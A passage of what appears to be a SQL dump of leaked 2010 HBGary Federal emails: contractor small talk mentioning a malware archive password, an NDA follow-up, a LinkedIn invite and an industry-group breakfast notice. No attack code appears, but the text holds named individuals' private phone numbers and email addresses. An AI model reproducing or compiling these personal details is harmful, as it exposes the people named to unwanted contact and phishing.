\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',8292,'aaron_hbgary_com/8292.html'),(8504,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006560.M419177P14101Q3359.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Question','---------- Forwarded message ----------From: Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nDate: Tue, Jul 13, 2010 at 4:22 PMSubject: RE: EXTERNAL:QuestionTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep those irons in the fire.\r\n\r\n \r\n\r\nBy chance are you or any of your folks going to the Lincoln\r\nLabs/MIT Malware TEM this week?\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nThat is the &quot;good&quot; kind of crazy.  We&#39;re\r\ndoing alright, still mostly a lot of business development activities &amp;\r\nproposals.  Won a contract a couple of weeks ago, work starts in\r\nSeptember.  Also have a small pilot project starting in a couple of weeks\r\nfor one of the Nat&#39;l labs.  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nMike, thanks alot.  How&#39;s everything going out in Cincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',563,'aaron_hbgary_com/563.html'),(8505,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006560.M660044P14101Q3360.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: EXTERNAL:Question','Sent from my iPadBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: July 13, 2010 6:23:10 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Fwd: EXTERNAL:Question\r\n---------- Forwarded message ----------From: Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\n\r\nDate: Tue, Jul 13, 2010 at 4:22 PMSubject: RE: EXTERNAL:QuestionTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep those irons in the fire.\r\n\r\n \r\n\r\nBy chance are you or any of your folks going to the Lincoln\r\nLabs/MIT Malware TEM this week?\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nThat is the &quot;good&quot; kind of crazy.  We&#39;re\r\ndoing alright, still mostly a lot of business development activities &amp;\r\nproposals.  Won a contract a couple of weeks ago, work starts in\r\nSeptember.  Also have a small pilot project starting in a couple of weeks\r\nfor one of the Nat&#39;l labs.  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nMike, thanks alot.  How&#39;s everything going out in Cincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',2993,'aaron_hbgary_com/2993.html'),(8506,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006561.M337538P14101Q3362.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: NDA for ASTEROID Teaming Discussions','FYI --Begin forwarded message:From: &quot;Chisholm, Chris (US SSA)&quot; &lt;robert.chisholm@baesystems.com&gt;\r\nDate: July 13, 2010 2:08:45 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: &quot;jrcrouse@comcast.net&quot; &lt;jrcrouse@comcast.net&gt;\r\nSubject: RE: NDA for ASTEROID Teaming Discussions\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nI should be back out there next week.  Hopefully we can hook up.\r\n\r\n \r\n\r\nRegards,\r\n\r\nChris\r\n\r\n \r\n\r\nRobert H. (Chris) Chisholm\r\n\r\nBAE Systems Aerospace Solutions\r\n\r\nManager, Mission Solutions Development\r\n\r\n3060 Venture Lane, Suite 102\r\n\r\nMelbourne, FL  32934\r\n\r\nOffice:  321-757-5249 ext 1934\r\n\r\nCell:  321-431-0966\r\n\r\nFax:  321-259-8181\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 4:07 PM\r\nTo: Chisholm, Chris (US SSA)\r\nSubject: Re: NDA for ASTEROID Teaming Discussions\r\n\r\n\r\n\r\n \r\n\r\nThanks Chris,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI just replied with the information you requested.\r\n Please let me know the next time you&#39;ll be in Colorado Springs so we can\r\nmeet face-to-face.  I&#39;d welcome the opportunity to provide you with an\r\noverview of our capabilities and learn about BAE&#39;s cyber interests.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',209,'aaron_hbgary_com/209.html'),(8507,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006561.M560405P14101Q3363.eml','\"Ted Vera\" <ted@hbgary.com>','Re: EXTERNAL:Question','Where is it?Sent from my iPhoneOn Jul 13, 2010, at 6:42 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:---------- Forwarded message ----------From: Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nDate: Tue, Jul 13, 2010 at 4:25 PMSubject: RE: EXTERNAL:QuestionTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK – I’ll send along any good tid bits if any fall out. It’s\r\nlargely FFRDCs and their customers, but you never know what kinds of info will\r\nfloat up at these things.\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:23 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNope\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 4:22 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep\r\nthose irons in the fire.\r\n\r\n&nbsp;\r\n\r\nBy chance are you or any of your folks\r\ngoing to the Lincoln Labs/MIT Malware TEM this week?\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat\r\nis the \"good\" kind of crazy. &nbsp;We\'re doing alright, still mostly\r\na lot of business development activities &amp; proposals. &nbsp;Won a contract\r\na couple of weeks ago, work starts in September. &nbsp;Also have a small pilot\r\nproject starting in a couple of weeks for one of the Nat\'l labs. &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n&nbsp;\r\n\r\nI hope all’s well with you and yours!\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey\r\nMike, thanks alot. &nbsp;How\'s everything going out in Cincinnati? &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',4239,'aaron_hbgary_com/4239.html'),(8508,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006561.M65080P14101Q3361.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Question','---------- Forwarded message ----------From: Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nDate: Tue, Jul 13, 2010 at 4:25 PMSubject: RE: EXTERNAL:QuestionTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK – I’ll send along any good tid bits if any fall out. It’s\r\nlargely FFRDCs and their customers, but you never know what kinds of info will\r\nfloat up at these things.\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:23 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nNope\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 4:22 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep\r\nthose irons in the fire.\r\n\r\n \r\n\r\nBy chance are you or any of your folks\r\ngoing to the Lincoln Labs/MIT Malware TEM this week?\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThat\r\nis the &quot;good&quot; kind of crazy.  We&#39;re doing alright, still mostly\r\na lot of business development activities &amp; proposals.  Won a contract\r\na couple of weeks ago, work starts in September.  Also have a small pilot\r\nproject starting in a couple of weeks for one of the Nat&#39;l labs.  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nMike, thanks alot.  How&#39;s everything going out in Cincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',15071,'aaron_hbgary_com/15071.html'),(8509,'2010-07-14','\"Lisa Cunningham\" <kldckldc@aim.com>','/aaron@hbgary.com/new/1297006561.M778687P14101Q3364.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Lisa Cunningham has indicated you are a Colleague at Northrop Grumman:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Lisa Cunningham\r\n  \r\n\r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Lisa Cunningham\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW LinkedIn can help you find the right service providers using recommendations from your trusted network? Using LinkedIn Services, you can take the risky guesswork out of selecting service providers by reading the recommendations of credible, trustworthy members of your network. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4315,'aaron_hbgary_com/4315.html'),(8510,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006562.M83034P14101Q3365.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: EXTERNAL:Question','Dunno. Want me to ask? Google it. On Jul 13, 2010, at 6:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWhere is it?Sent from my iPhoneOn Jul 13, 2010, at 6:42 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n---------- Forwarded message ----------From: Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\n\r\nDate: Tue, Jul 13, 2010 at 4:25 PMSubject: RE: EXTERNAL:QuestionTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK – I’ll send along any good tid bits if any fall out. It’s\r\nlargely FFRDCs and their customers, but you never know what kinds of info will\r\nfloat up at these things.\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:23 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nNope\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 4:22 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep\r\nthose irons in the fire.\r\n\r\n \r\n\r\nBy chance are you or any of your folks\r\ngoing to the Lincoln Labs/MIT Malware TEM this week?\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThat\r\nis the &quot;good&quot; kind of crazy.  We&#39;re doing alright, still mostly\r\na lot of business development activities &amp; proposals.  Won a contract\r\na couple of weeks ago, work starts in September.  Also have a small pilot\r\nproject starting in a couple of weeks for one of the Nat&#39;l labs.  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nMike, thanks alot.  How&#39;s everything going out in Cincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',8109,'aaron_hbgary_com/8109.html'),(8511,'2010-07-14','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006570.M2460P14101Q3366.eml','\"Barr Aaron\" <aaron@hbgary.com>','.Mac Reader: NYT > Technology','feed://www.nytimes.com/services/xml/rss/nyt/Technology.xml\r\n\r\n\r\n\r\n',13719,'aaron_hbgary_com/13719.html'),(8512,'2010-07-14','\"Cox, Larry D.\" <LARRY.D.COX@saic.com>','/aaron@hbgary.com/new/1297006570.M773777P14101Q3367.eml','Bill.Varner@ManTech.com,aaron@hbgary.com,alexander.miller@l-3com.com,barbara.g.fast@boeing.com,bill.phelps@accenture.com,bmalexia@rockwellcollins.com,ccpalmer@us.ibm.com,david_joslin@federal.dell.com,dusty.wince@knowledgecg.com,ed.gibson@us.pwc.com,gjg@mitre.org,jkoenig@harris.com,john.osterholz@baesystems.com,jpayne@telcordia.com,jreagan@deloitte.com,jwatters@isightpartners.com,kathy.warden@ngc.com,kenneth.sannicolas@stanleyassociates.com,lance.cottrell@abraxascorp.com,michael.fraser@usis.com,nadia.short@gd-ais.com,pat.burke@sra.com,rdix@juniper.net,rodney.joffe@neustar.biz,roger_anderson@appsig.com,samuel.chun@hp.com,scottmil@microsoft.com,shawn.carroll@qwest.com,skip.foote@americansystems.com,steve_k_hawkins@raytheon.com,svisner@csc.com,tiffany_jones@symantec.com','Re: Greetings!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nSadly I\'ll be on travel Bill.LC\r\n\r\n\r\nFrom: prvs=80375135b=Bill.Varner@mantech.com &lt;prvs=80375135b=Bill.Varner@mantech.com&gt;To: aaron@hbgary.com &lt;aaron@hbgary.com&gt;; alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; Cox, Larry D.; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; john.osterholz@baesystems.com &lt;john.osterholz@baesystems.com&gt;; jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;Sent: Tue Jul 13 17:23:37 2010Subject: Greetings!\r\n\r\n\r\n\r\n\r\nLooking forward to seeing as many of us as possible at\r\nbreakfast on August 3.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m planning to go over the feedback from our first dinner\r\nmeeting, and would like to narrow down our choices or preferences for the next\r\ndinner speaker.\r\n\r\n&nbsp;\r\n\r\nWe have had some limited discussions re the draft National\r\nStrategy for Trusted Identities in Cyberspace. I still would like to submit\r\nsomething to Howard Schmidt from the Group, both to put us on the map and to\r\nhelp the process of creating trusted ways of using the Internet. When I think\r\nof trusted supply chain management, as the paper mentions, I tend to think of\r\nthe counterintelligence perspective. I do believe there is a strong CI\r\ncomponent to the trusted identity issue, and some of our email discussions,\r\nparticularly between Aaron and John have begun to explore that idea.\r\n\r\n&nbsp;\r\n\r\nI am as guilty as everyone of not being able to devote all\r\nof the time we would like to this, but if we can generate some more discussion\r\naround this I can try to turn our thoughts into a response by July 19.\r\n\r\n&nbsp;\r\n\r\nSee you soon,\r\n\r\n&nbsp;\r\n\r\nBill \r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive,\r\nSuite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1808,'aaron_hbgary_com/1808.html'),(8513,'2010-07-14','\"Aaron Barr\" 